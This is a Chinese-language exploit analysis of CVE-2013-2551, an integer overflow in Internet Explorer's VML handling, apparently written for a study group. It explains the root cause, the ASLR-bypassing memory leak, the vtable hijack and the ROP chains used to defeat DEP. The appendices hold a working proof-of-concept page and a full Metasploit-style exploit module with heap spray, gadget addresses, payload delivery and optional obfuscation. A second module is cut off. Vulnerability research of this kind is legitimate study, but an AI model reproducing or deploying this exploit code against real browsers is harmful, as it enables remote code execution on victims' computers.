CVE-2013-2551漏洞成因与利用分析

1. 简介

  VUPEN在Pwn2Own2013上利用此漏洞攻破了Win8+IE10,5月22日VUPEN在其博客上公布了漏洞的细节。它是一个ORG数组整数溢出漏洞,由于此漏洞的特殊性,使得攻击者可以通过整数溢出修改数组的长度,获取任意内存读写的能力,最终绕过ASLR并获取控制权限实现远程代码执行。

  在漏洞公布不久,就有人写出了对应的metasploit利用代码,不过其代码只支持Win7+IE8环境。通过分析,想要在Win7+IE10下成功利用此漏洞需要解决几个关键问题,并运用几个技巧。本文首先参考已有的分析文章,根据自己的理解对漏洞成因再次进行综合分析,记录分析过程及结果,方便小组成员学习。然后针对IE8、IE10两个环境,对漏洞利用所使用的技术及技巧进行总结。

2. 实验环境

  操作系统:Win7 SP1 (6.1.7601.17514)

  浏览器:IE10.0.9200.16540

  漏洞编号:CVE-2013-2551

3. 漏洞分析

  这个漏洞是由于负责VML解析的模块VGX.DLL,在处理<v:stroke>标签的dashstyle.array.length属性时,没有对传入的参数进行完备验证而导致的整数溢出。攻击者利用这个漏洞能够对任意地址进行读写操作——通过读取敏感内存信息、改写对象虚函数表,就能够完美绕过重重内存防护机制实现任意代码执行。

3.1. VML

  VML(Vector Markup Language)矢量标记语言是SVG的前身,它仍然被IE10所支持,通过它可以在页面中表现二维矢量图形。值得说明的是IE10在默认情况下是不支持VML的,但通过在HTML中加入有关对文档模式的声明,可以使IE10正常解析VML标签。VML被vgx.dll(C:\Program Files\Common Files\Microsoft Shared\VGX)所实现,可以通过附件中的VML.html来简单了解VML的使用。

3.2. 漏洞成因

  VML为shape元素实现了一个Stroke子元素,Stroke子元素有一个DashStyle属性。DashStyle可以是一个常数也可以是一个自定义的类型。例如下面的使用方法:

  当通过JS读取dashstyle属性时,其内部会调用"vgx!COAStroke::get_dashstyle()",随后"vgx!COAStroke::get_dashstyle()"调用子函数"vgx!COAShapeProg::GetOALineDashStyle()"并最终返回一个COALineDashStyle对象。

  dashstyle属性的功能是被COALineDashStyle对象实现的,COALineDashStyle对象的方法如下,其中get_value/put_value是针对dashstyle为常数的情况。

  如果dashstyle属性是自定义类型,调用COALineDashStyle::get_array()方法,将会在其子函数COAShapeProg::GetOALineDashStyleArray()中返回一个COALineDashStyleArray对象。

  COALineDashStyleArray对象用来管理自定义类型的dashstyle属性,其方法如下:

  设置或者读取dashstyle.array.length属性时,对应的put_length或get_length函数就会被调用;利用数组下标访问dash.array属性时,对应的put_item或get_item函数就会被调用。

  使用JS语句对dashstyle属性赋值时,例如:stroke.dashstyle = "1 2 3 4",函数vgx!ParseDashStyle会被调用,将控制流转向_MsoFCreateArray函数来创建一个ORG数组。在_MsoFCreateArray中调用_MsoFInitPx函数根据数组成员个数来、进行内存分配,每个数组成员占四字节内存,所以ORG数组的缓冲区大小为数组成员个数×4(byte)。在对dashstyle.array.length属性赋值时,数组成员的个数会改变,在put_length函数中会根据新设置的值来重新为ORG数组成分配内存。然而在put_length中存在一个整数溢出漏洞,漏洞相关代码如下:

  可以看出漏洞成因就在于put_length函数判断当前长度current_length和desired_length长度时,使用跳转指令是用于判断有符号数的jge指令,而数组长度是一个unsiged int类型的变量。因此当传入desired_length的值为有符号数0xFFFFFFFF时,会导致跳转至loc_1008B844处,进而调用ORG::DeleteRange。执行流程为:ORG::DeleteRange-->MsoDeletePx-->MsoFRemovePx。

  进入MsoFRemovePx函数时,arg_4=current_length-desired_length,arg_8=desired_length。

  在MsoFRemovePx函数内部,最终将desired_length设置成了current_length,使得在没有重新分配内存的情况下将ORG数组长度current_length改写成0xFFFF。因此,可以通过此时的ORG数组获得越界访问。

  要想成功触发漏洞,须使用JS将dashstyle.array.length的值设置为0xFFFFFFFF,但是如果直接使用语句dashstyle.array.length = 0xFFFFFFFF。会提示错误有"溢出"发生,将0xFFFFFFFF改为(0-1)就能够成功触发漏洞了。

  “漏洞成因”结合“信息泄露”的源代码在附录poc (CVE-2013-2551).html中给出,请参见附件。

4. 漏洞利用

4.1. Bypass ASLR

4.1.1.  信息泄露

  VML shape的_vgRuntimeStyle属性由COARuntimeStyle对象负责处理,它包含很多方法,如下

  使用JS语句设置或者读取_vgRuntimeStyle.marginLeft属性时,对应的COARuntimeStyle::put_marginLeft()或者COARuntimeStyle::get_marginLeft()函数就会被调用。

  如果是第一次访问marginLeft/rotation属性,那么在put_marginLeft/put_rotation函数中会调用CVMLShape::GetRTSInfoàCParserTag::GetRTSInfo来创建一个COARuntimeStyle对象,该对象大小为0xAC(实际分配0xB0)。

  而marginLeft属性的值对应的字符串指针就保存在该COARuntimeStyle对象的0x58偏移处。同样get_marginLeft函数在读取marginLeft属性时,也是通过访问这个对象偏移0x58位置上的字符串指针来完成的。

  COARuntimeStyle::put_marginLeft()

  因此,我们可以设置堆内存,使得ORG数组在一个COARuntimeStyle对象前面。然后通过ORG数组用任意值(这里使用0x7ffe0300)越界重写marginLeft属性的字符串指针,再使用COARuntimeStyle::get_marginLeft()将任意内存地址(0x7ffe0300)处的内容读取出来。0x7ffe0300处保存着ntdll!KiFastSystemCall的地址,通过此地址减去相应偏移即可得到当前ntdll.dll的内存基址。

  也可以通过ORG数组越界读随后COARuntimeStyle对象的前4字节(虚函数表指针),最终减去相应偏移即可得到当前vgx.dll的内存基址。

  信息泄露部分的源代码见附件poc (CVE-2013-2551).html

4.1.2. 定位shellcode

  定位shellcode有两种方法可控选择,使用的最多的方法就是堆喷射,但是它并不是一种完美的利用方法。完美的利用方法是通过漏洞读取出shellcode的地址。我使用两种方法分别实现了IE10下的漏洞利用。

4.1.2.1. 通过堆喷射布局shellcode

  使用堆喷射可以方便的布局我们的shellcode在指定的内存处。在IE8下,堆喷射使用常见的heapLib技术。IE10下,heapLib不再奏效,我们可以通过DEPS技术实现堆喷射。具体技术资料及源码很多,此处不再赘述。

4.1.2.2. 通过漏洞定位shellcode

  由于此漏洞的特殊性,使其具有任意地址读的能力。参见4.1.1信息泄露部分,我们可以将shellcode作为COARuntimeStyle的marginLeft属性值,再通过触发漏洞使用ORG数组越界读取出shellcode的地址。其原理与“信息泄露”一致,主要在于代码实现,请参见“CVE-2013-2551_MS13-037(IE10noHeapSpray).rb”。

4.2. 获取控制权

  当通过JS读取_anchorRect属性时,其内部会调用"vgx!COAShape::get__anchorRect()",最终创建并返回一个0x10大小的COAReturnedPointsForAnchor对象。

  因此有这样一种利用场景:创建大量的COAReturnedPointsForAnchor对象,在其中为Dashstyle属性创建具有4个元素的ORG数组使其内存布局刚好位于大量COAReturnedPointsForAnchor对象之间。然后利用漏洞通过ORG数组越界改写其后COAReturnedPointsForAnchor对象的虚函数表指针,从而获取控制权。具体步骤如下:

  1) 创建大量的COAShape元素(v:shape)

  2) 遍历每个COAShape的_anchorRect属性,这样就可以创建COAReturnedPointsForAnchor元素,在遍历的过程中,某个地方给dashstyle属性赋值,这样会创建ORG对    象,为保证ORG对象和COAReturnedPointsForAnchor对象在同一个堆块并且地址连续,ORG的元素数目为4个,正好 4×4 = 0x10。

  3) Dashstyle.array.length = -1,触发漏洞。由于漏洞被触发,Dashstyle.array的长度被修改为0xffff,可以越界写内存

  4) dashstyle.array.item(6) = 0x0c0c0c0c,修改ORG后面的COAReturnedPointsForAnchor虚表指针。Item(6)是为了跳过堆首部的8个字节。

  5) 释放_anchorRec元素,当被修改虚表指针的元素被删除时,会通过虚表调用Release函数,这样就可以被攻击者获得控制权。

4.3. Bypass DEP

4.3.1. IE8

  首先来看当被修改虚函数表指针的COAReturnedPointsForAnchor对象将要被释放时,索引其Release虚函数的过程。

  如上图所示,(98行)ecx保存着对象UserPtr地址,并将其首4字节(虚函数表指针)传递给eax,然后(100行)调用虚函数表的第三个函数。而在“获取控制权”阶段我们已经将对象的首4字节改写成了0x0c0c0c0c,因此它将在0x0c0c0c0c处的伪造虚函数表中索引虚函数表并调用。

  在IE8下通过常规的heapLib技术进行堆喷射,将shellcode布局在0x0c0c0c0c处。并在0x0c0c0c0c处伪造虚函数表,构造ROP chain。

  如上图所示,0x0c0c0c0c处就是根据之后虚函数被调用顺序,构造的ROP chain,将切换堆栈的指令(xchg eax,esp)的地址放在了0x0c0c0c0c + 0x08处,这样当程序接下来调用虚基表中的第3个虚函数Release时,就在伪造的虚函数表0x0c0c0c0c处索引第三个函数地址,并执行xchg eax,esp; retn指令

  注意,当调用“第三个虚函数”时,eax保存着虚函数表指针(此时为0x0c0c0c0c),ecx保存着对象UserPtr指针。其随后的执行流程如下:

  1) 通过xchg eax,esp指令可将堆栈切换到0x0c0c0c0c上,使得esp指向0x0c0c0c0c处。随后执行retn指令时,将会在新的堆栈(0x0c0c0c0c)上索引返回地址并

跳转执行。

  2) 执行0x0c0c0c0c处第一个4字节地址所指向的指令——retn。继续在堆栈上索引返回地址。

  3) 执行0x0c0c0c0c处第二个4字节地址所指向的指令——pop ebx; retn。意在跳过0x0c0c0c0c处的第三个4字节,并将第四个4字节的值作为返回地址并执行。

  4) 第四个4字节为实际为ntdll!ZwProtectVirtualMemory函数地址,其返回地址、调用参数已经硬编码到随后的shellcode中。其目的在于修改0x0c0c0c40处0x400字

节大小的内存空间的属性,将其修改成可执行页面。

  5) ntdll!ZwProtectVirtualMemory执行完毕后从堆栈上索引返回地址,跳转到0x0c0c0c40处继续执行,最终绕过了DEP,实现了任意代码执行。

4.3.2. IE10

  在IE10下,我们将面对两个关键问题。首先是以前常用的堆喷射技术(heapLib)不再奏效;其次是编译器做了调整,在索引虚函数时eax不再保存虚函数表指针,转而保存对象UserPtr指针,并由ecx来保存虚函数表指针。其造成的结果是指令串xchg ecx,esp; retn;对应的字节码变长(变为87E1C3,而xchg eax,esp; retn为94C3),使得在内存中很难搜索到能够满足类似要求的指令串,从而无法轻易控制esp。(IE10下相关代码如下图所示)

  针对IE10,我找到了可替代的堆喷射方法——DEPS,关于DEPS的技术细节及实现请参见参考资料链接。

  而当在ntdll.dll中尝试搜索实现类似功能的指令串(xchg ecx,esp; retn;)无果后,需要重新理清思路。想明白我们能控制什么,尽最大可能利用它们仍然可以绕过阻碍。

4.3.2.1. 堆喷射下ROP chain构造

  在IE10下使用DEPS技术仍然可以进行堆喷射,并把我们的shellcode部署在指定内存空间,demo中将shellcode部署在0x0c0c2228处。此时我们重点关注如何在call dword ptr [ecx+8]时控制堆栈,使得esp切换到指定的内存空间处(0x0c0c2228)

  在IE8下,我们通过漏洞使用ORG数组越界改写了对象的虚函数表指针,最终对象在释放过程中将索引我们伪造的虚函数,并在一个ROP gadget中实现对堆栈的控制。但IE10下保存虚函数表指针的寄存器变成了ecx,保存对象指针的寄存器变成了eax,此时无法在一个ROP gadget中实现类似xchg ecx,esp; retn的功能。

  此时,我们面对的情况为:保存对象指针的eax、保存对象虚函数表指针的ecx、一个具有越界读写对象能力的ORG数组。

  因此,可以使用ORG数组进一步越界改写对象头部,利用容易找到的xchg eax,esp; retn指令串先将堆栈切换到对象内存空间上。然后再通过其他的ROP gadget将堆栈切换到shellcode处(0x0c0c2228)。实现对堆栈esp的完全控制。

  首先通过mona.py搜索ntdll.dll中所有可能的gadget后。在其搜索结果中寻找可用的ROP gadget。最终效果如下:

  由于我们使用了堆喷射技术对shellcode进行布局,因此我们能够确切的知道其内存位置(0x0c0c2228),在调用ntdll!ZwProtectVirtualMemory修改shellcode内存空间可执行权限时基本不存在问题,可以通过硬编码设置当前堆栈上的返回地址、参数值等。如下图所示:

4.3.2.2. 无堆喷射下ROP chain构造

  • 获取shellcode地址

  在4.1.1信息泄露部分,已经介绍了利用COARuntimeStyle对象及其marginLeft属性来读取任意地址处的值。如果将shellcode作为COARuntimeStyle的marginLeft属性,再通过触发漏洞,可以很容易获得shellcode的地址,这样就可以不使用heap spray,实现完美的利用。利用方法如下:

  其中#{js_code}为shellcode,marginLeftAddress即为读取到的shellcode地址。

  • 构造ROP chain

  由于shellcode地址是动态获取的,因此在构造ROP chain(尤其是在堆栈上为ntdll!ZwProtectVirtualMemory构造返回地址及参数)时不能使用硬编码。构造ROP chain是一项考验并激发创造力的体力活,其中mona.py为我们创造了条件,提供了很多便利。

  在为其构造ROP chain时运用了几个小技巧,下面一一讲解,首先来看函数的定义

  其总体思想是将ntdll!ZwProtectVirtualMemory函数调用的函数地址、返回地址、参数依次传递给edi、esi、ebp、esp、ebx、edx、ecx。然后使用pushad; retn指令串将其布局在堆栈上并调用,调用pushad; retn指令串前的要求寄存器环境为:

  因为ntdll!ZwProtectVirtualMemory函数的参数中有指针,参数NumberOfBytesToProtect即为一个指针,指向要修改保护属性的字节数。在ROP chain中可以使用push esp; pop; pop retn的指令串来动态获得当前的地址,例如下图122行代码所示,其ROP gadget将NumberOfBytesToProtect的地址传递给了esi,最终传递给了ebx

 

  ntdll!ZwProtectVirtualMemory的参数BaseAddress也是一个指针,指向要修改内存属性的内存基址。调用pushad; retn前,要使esp指向想要修改内存属性的内存基址也需要一点小技巧,我的实现如下图。143行代码首先获取当前堆栈的地址,然后将其加0x40字节,并写入其值所指的内存中。即指针所指的内存空间保存着指针的地址。

  最后,真正的返回地址(esi)要指向最终的payload,它将会被布局在ROP chain之后,即pushad; retn指令串之后的+4字节处(pushad; retn指令串之后的4字节保存BaseAddress)。因此,还需要将eax加4字节再传递给esi。

  由于在shellcode中不能出现/u0000,因此在指定NewAccessProtection时,通过加法指令溢出寄存器,使其变为0x00000040。其实现过程如下:

  至此,构造ROP chain时所运用的几个技巧已经讲解完毕。此处也可以将shellcode分开存放,即将payload作为COARuntimeStyle的marginLeft属性存放;将伪造的虚函数表及用于改写payload所在页面属性的ZwProtectVirtualMemory参数布局在ntdll.dll的.rsrc处,即可省去复杂的ROP构造;

  构造ROP chain虽然是体力活,但也考验并激发创造力。有点像走一根有障碍的独木桥,想明白自己能控制什么,尽最大可能利用它们绕过阻碍,最终展现那奇妙可能性时的成就感妙不可言。

5. 总结

  网上也已经有多篇文章对CVE-2013-2551漏洞成因与利用方法进行了分析说明。个人认为它是学习漏洞利用技术非常好的一个例子,通过这一个漏洞可以了解学习到漏洞利用过程中的多种技术与技巧。

6. 参考资料

[1] Advanced Exploitation of Internet Explorer 10 / Windows 8 Overflow (Pwn2Own 2013):http://www.vupen.com/blog/20130522.Advanced_Exploitation_of_IE10_Windows8_Pwn2Own_2013.php

[2] CVE-2013-2551利用技巧分析:http://hi.baidu.com/4b5f5f4b/item/33d5c21e33ed12181994ec6c

[3] CVE-2013-2551利用分析:http://zenhumany.blog.163.com/blog/static/171806633201403114815739/

7. 附录

7.1. poc (CVE-2013-2551).html

<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head> <title>
POC by VUPEN
</title> <style>v\: * { behavior:url(#default#VML); display:inline-block }</style> <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" /> <body onload="createRects(); exploit();">
<v:oval style="width:100pt;height:50pt" fillcolor="red"></v:oval>
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body> <script> var rect_array = new Array()
var a = new Array() function createRects(){
for(var i=0; i<0x400; i++){
rect_array[i] = document.createElement("v:shape")
rect_array[i].id = "rect" + i.toString()
document.body.appendChild(rect_array[i])
}
} function exploit(){ var vml1 = document.getElementById("vml1") for (var i=0; i<0x400; i++){
a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
} for (var i=0; i<0x400; i++){
a[i].rotation;
if (i == 0x300) {
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
}
} var length_orig = vml1.dashstyle.array.length;
vml1.dashstyle.array.length = 0 - 1; for (var i=0; i<0x400; i++)
{
a[i].marginLeft = "a"; marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16); if (marginLeftAddress > 0) {
vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;
var leak = a[i].marginLeft;
vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress;
vml1.dashstyle.array.length = length_orig;
alert( parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 ));
return;
}
} }
</script> </html>

7.2. CVE-2013-2551_MS13-037(IE10).rb

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "10.0",
:ua_maxver => "10.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:rank => Rank
}) def initialize(info={})
super(update_info(info,
'Name' => "MS13-009 Microsoft Internet Explorer COALineDashStyleArray Integer Overflow",
'Description' => %q{
This module exploits an integer overflow vulnerability on Internet Explorer.
The vulnerability exists in the handling of the dashstyle.array length for vml
shapes on the vgx.dll module. This module has been tested successfully on Windows 7
SP1 with IE10. It uses the the JRE6 to bypass ASLR by default. In addition a target
to use an info leak to disclose the ntdll.dll base address is provided. This target
requires ntdll.dll v6.1.7601.17514 (the default dll version on a fresh Windows 7 SP1
installation) or ntdll.dll v6.1.7601.17725 (version installed after apply MS12-001).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nicolas Joly', # Vulnerability discovery, PoC and analysis
'Danny (modified from Nicolas Joly)', # PoC
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2013-2551' ],
[ 'OSVDB', '' ],
[ 'BID', '' ],
[ 'MSB', 'MS13-037' ],
[ 'URL', 'http://www.vupen.com/blog/20130522.Advanced_Exploitation_of_IE10_Windows8_Pwn2Own_2013.php' ],
[ 'URL', 'http://binvul.com/viewthread.php?tid=311' ]
],
'Payload' =>
{
'Space' => 948,
'DisableNops' => true,
'BadChars' => "\x00",
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 10 on Windows 7 SP1 with JRE6 ROP', # default
{
'Rop' => :jre,
'Offset' => '0x5f4'
}
],
# requires:
# * ntdll.dll v6.1.7601.17514 (fresh W7SP1 installation)
# * ntdll.dll v6.1.7601.17725 (MS12-001)
[ 'IE 10 on Windows 7 SP1 with ntdll.dll Info Leak',
{
'Rop' => :ntdll,
'Offset' => '0x5f4'
}
]
],
'Privileged' => false,
'DisclosureDate' => "Mar 06 2013",
'DefaultTarget' => 0)) register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class) end def exploit
@second_stage_url = rand_text_alpha(10)
@leak_param = rand_text_alpha(5)
super
end ############################### def get_ntdll_rop
case @ntdll_version
when "6.1.7601.17514"
stack_pivot = [
@ntdll_base+0x0001578a, # ret # from ntdll
@ntdll_base+0x000096c9, # pop ebx # ret # from ntdll
@ntdll_base+0x00047733, # XCHG EAX,ESP # POP ESI # POP EDI # LEA EAX,DWORD PTR DS:[EDX-1] # POP EBX # RETN from [ntdll.dll]
].pack("V*")
ntdll_rop = [
@ntdll_base+0x00047643, # pop edi # retn
@ntdll_base+0x00045F18, # ntdll!ZwProtectVirtualMemory
@ntdll_base+0x000c71ef, # pop esi # retn
0x0c0c227c, # ret to shellcode 0x0c0c2228+21*4 = 0x0c0c227c
@ntdll_base+0x000cb72a, # pop ebp # retn
0xffffffff, # ProcessHandle
@ntdll_base+0x000348b9, # pop ebx # retn
0x0c0c2274, # ptr to NumberOfBytesToProtect 0x0c0c2228+19*4 = 0x0c0c2274
@ntdll_base+0x0009a30c, # pop eax # retn
0xFA3DFA7F,
@ntdll_base+0x0003ab39, # add eax,5C205C1 # retn
@ntdll_base+0x00036d70, # xchg eax,edx # retn (-> put 0x00000040 into edx)
@ntdll_base+0x000cd241, # pop ecx # retn
0x0c0c2278, # ptr to OldAccessProtection
@ntdll_base+0x000227c4, # PUSHAD # RETN eax ecx edx ebx esp(original) ebp esi edi
0x0c0c227c, # BaseAddress
0x00010400, # NumberOfBytesToProtect
0x41414141, # OldAccessProtection
].pack("V*")
return stack_pivot + ntdll_rop
when "6.1.7601.17725" # 未构造
stack_pivot = [
@ntdll_base+0x0001579a, # ret # from ntdll
@ntdll_base+0x000096c9, # pop ebx # ret # from ntdll
@ntdll_base+0x00015799, # xchg eax, esp # ret from ntdll
].pack("V*")
ntdll_rop = [
@ntdll_base+0x45F18, # ntdll!ZwProtectVirtualMemory
0x0c0c0c40, # ret to shellcode
0xffffffff, # ProcessHandle
0x0c0c0c34, # ptr to BaseAddress
0x0c0c0c38, # ptr to NumberOfBytesToProtect
0x00000040, # NewAccessProtection
0x0c0c0c3c, # ptr to OldAccessProtection
0x0c0c0c40, # BaseAddress
0x00000400, # NumberOfBytesToProtect
0x41414141 # OldAccessProtection
].pack("V*")
return stack_pivot + ntdll_rop
else
return ""
end
end def get_payload(t, cli)
code = payload.encoded
# No rop. Just return the payload.
return code if t['Rop'].nil? # Both ROP chains generated by mona.py - See corelan.be
case t['Rop']
when :jre
print_status("Using JRE ROP")
stack_pivot = [
0x7c348b06, # ret # from msvcr71
0x7c341748, # pop ebx # ret # from msvcr71
0x7c348b05 # xchg eax, esp # ret from msvcr71
].pack("V*")
rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
when :ntdll
print_status("Using ntdll ROP")
rop_payload = get_ntdll_rop + code
end return rop_payload
end def load_exploit_html(my_target, cli)
p = get_payload(my_target, cli) js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
js_ntdllBase = @ntdll_base js_trigger = %Q| // Land the payload at 0x0c0c2228
function HeapSpray(){ var div_container = document.getElementById("blah");
div_container.style.cssText = "display:none"; var data;
var offset = 0x104;
var nops = unescape("#{js_nops}");
var code = unescape("#{js_code}"); while (nops.length < 0x1000) nops += nops; data = nops.substring(0,offset) + code;
data += nops.substring(0,0x800-offset-code.length); while (data.length < 0x80000) data += data; // IE 8, 9 and 10 : 0x0c0c2228
for (var i = 0; i < 0x350; i++)
{
var obj = document.createElement("button");
obj.title = data.substring(0,0x40000-0x58); //aligned spray
div_container.appendChild(obj);
} } var rect_array = new Array();
var a = new Array();
var ntdllBase = #{js_ntdllBase}; function createRects(){ for(var i=0; i<0x1000; i++){
rect_array[i] = document.createElement("v:shape")
rect_array[i].id = "rect" + i.toString()
document.body.appendChild(rect_array[i])
} } function exploit(){ var vml1 = document.getElementById("vml1") for (var i=0; i<0x1000; i++){
a[i] = document.getElementById("rect" + i.toString())._anchorRect;
if (i == 0x800) {
vml1.dashstyle = "1 2 3 4"
}
} vml1.dashstyle.array.length = 0 - 1;
tempp = vml1.dashstyle.array.item(6);
vml1.dashstyle.array.item(6) = 0x0c0c2228; // vgx!COALineDashStyleArray::put_item+0x84/72 (4 + 2)
vml1.dashstyle.array.item(8) = 0x0c0c2228; // ebx
vml1.dashstyle.array.item(9) = ntdllBase + 0xcc18d; // (RVA : 0x000cc18d) : # MOV ESP,EBX # POP EBX # RETN @ntdll_base + 0xcc18d = 0x770cc18d //for (var i=0; i<0x1000; i++)
{
delete a[0x801];
CollectGarbage();
}
//location.reload(); }
| heap_spray_func = "HeapSpray"
create_rects_func = "createRects"
exploit_func = "exploit" if datastore['OBFUSCATE']
js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger)
js_trigger.obfuscate
heap_spray_func = js_trigger.sym("HeapSpray")
create_rects_func = js_trigger.sym("createRects")
exploit_func = js_trigger.sym("exploit")
end html = %Q|
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head> <title>
</title> <style>v\\: * { behavior:url(#default#VML); display:inline-block }</style> <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" /> <script>
#{js_trigger}
</script> <body onload="#{heap_spray_func}(); #{create_rects_func}(); #{exploit_func}();">
<div id="blah"></div>
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body> </html>
| return html
end def html_info_leak js_trigger = %Q|
var rect_array = new Array()
var a = new Array() function createRects(){
for(var i=0; i<0x400; i++){
rect_array[i] = document.createElement("v:shape")
rect_array[i].id = "rect" + i.toString()
document.body.appendChild(rect_array[i])
}
} function exploit(){ var vml1 = document.getElementById("vml1") for (var i=0; i<0x400; i++){
a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
} for (var i=0; i<0x400; i++){
a[i].rotation;
if (i == 0x300) {
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
}
} var length_orig = vml1.dashstyle.array.length;
vml1.dashstyle.array.length = 0 - 1; for (var i=0; i<0x400; i++)
{
a[i].marginLeft = "a";
marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
if (marginLeftAddress > 0) {
vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;
var leak = a[i].marginLeft;
vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress;
vml1.dashstyle.array.length = length_orig;
document.location = "#{get_resource}/#{@second_stage_url}" + "?#{@leak_param}=" + parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 )
return;
}
} }
| create_rects_func = "createRects"
exploit_func = "exploit" if datastore['OBFUSCATE']
js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger)
js_trigger.obfuscate
create_rects_func = js_trigger.sym("createRects")
exploit_func = js_trigger.sym("exploit")
end html = %Q|
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
</title>
<style>v\\: * { behavior:url(#default#VML); display:inline-block }</style>
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<script>
#{js_trigger}
</script>
<body onload="#{create_rects_func}(); #{exploit_func}();">
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>
</html>
| return html end def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic' nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || '' ie_name = "IE #{ie}" case nt
when '5.1'
os_name = 'Windows XP SP3'
when '6.0'
os_name = 'Windows Vista'
when '6.1'
os_name = 'Windows 7'
end targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
print_status("Target selected as: #{t.name}")
return t
end
end return nil
end def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}") my_target = get_target(agent)
# Avoid the attack if no suitable target found
if my_target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end if my_target['Rop'] == :ntdll and request.uri !~ /#{@second_stage_url}/
html = html_info_leak
html = html.gsub(/^\t\t/, '')
print_status("Sending HTML to info leak...")
send_response(cli, html, {'Content-Type'=>'text/html'})
else
leak = begin
request.uri_parts["QueryString"][@leak_param].to_i
rescue
end # Use JRE1.6 to exploit it.
if leak == 0
html = load_exploit_html(my_target, cli)
html = html.gsub(/^\t\t/, '')
print_status("Sending HTML to trigger(Use JRE1.6)...")
send_response(cli, html, {'Content-Type'=>'text/html'})
return
end # Use Ntdll to exploit it.
print_status("ntdll leak: 0x#{leak.to_s(16)}")
fingerprint = leak & 0x0000ffff case fingerprint
when 0x70B0
@ntdll_version = "6.1.7601.17514"
@ntdll_base = leak - 0x470B0
when 0x7090
@ntdll_version = "6.1.7601.17725" # MS12-001
@ntdll_base = leak - 0x47090
else
print_error("ntdll version not detected, sending 404: #{agent}")
send_not_found(cli)
return
end html = load_exploit_html(my_target, cli)
html = html.gsub(/^\t\t/, '')
print_status("Sending HTML to trigger(Use Ntdll)...")
send_response(cli, html, {'Content-Type'=>'text/html'}) end end end

7.3. CVE-2013-2551_MS13-037(IE10noHeapSpray).rb

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "10.0",
:ua_maxver => "10.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:rank => Rank
}) def initialize(info={})
super(update_info(info,
'Name' => "MS13-009 Microsoft Internet Explorer COALineDashStyleArray Integer Overflow",
'Description' => %q{
This module exploits an integer overflow vulnerability on Internet Explorer.
The vulnerability exists in the handling of the dashstyle.array length for vml
shapes on the vgx.dll module. This module has been tested successfully on Windows 7
SP1 with IE10. It uses the the JRE6 to bypass ASLR by default. In addition a target
to use an info leak to disclose the ntdll.dll base address is provided. This target
requires ntdll.dll v6.1.7601.17514 (the default dll version on a fresh Windows 7 SP1
installation) or ntdll.dll v6.1.7601.17725 (version installed after apply MS12-001).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nicolas Joly', # Vulnerability discovery, PoC and analysis
'Danny (modified from Nicolas Joly)', # PoC
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2013-2551' ],
[ 'OSVDB', '' ],
[ 'BID', '' ],
[ 'MSB', 'MS13-037' ],
[ 'URL', 'http://www.vupen.com/blog/20130522.Advanced_Exploitation_of_IE10_Windows8_Pwn2Own_2013.php' ],
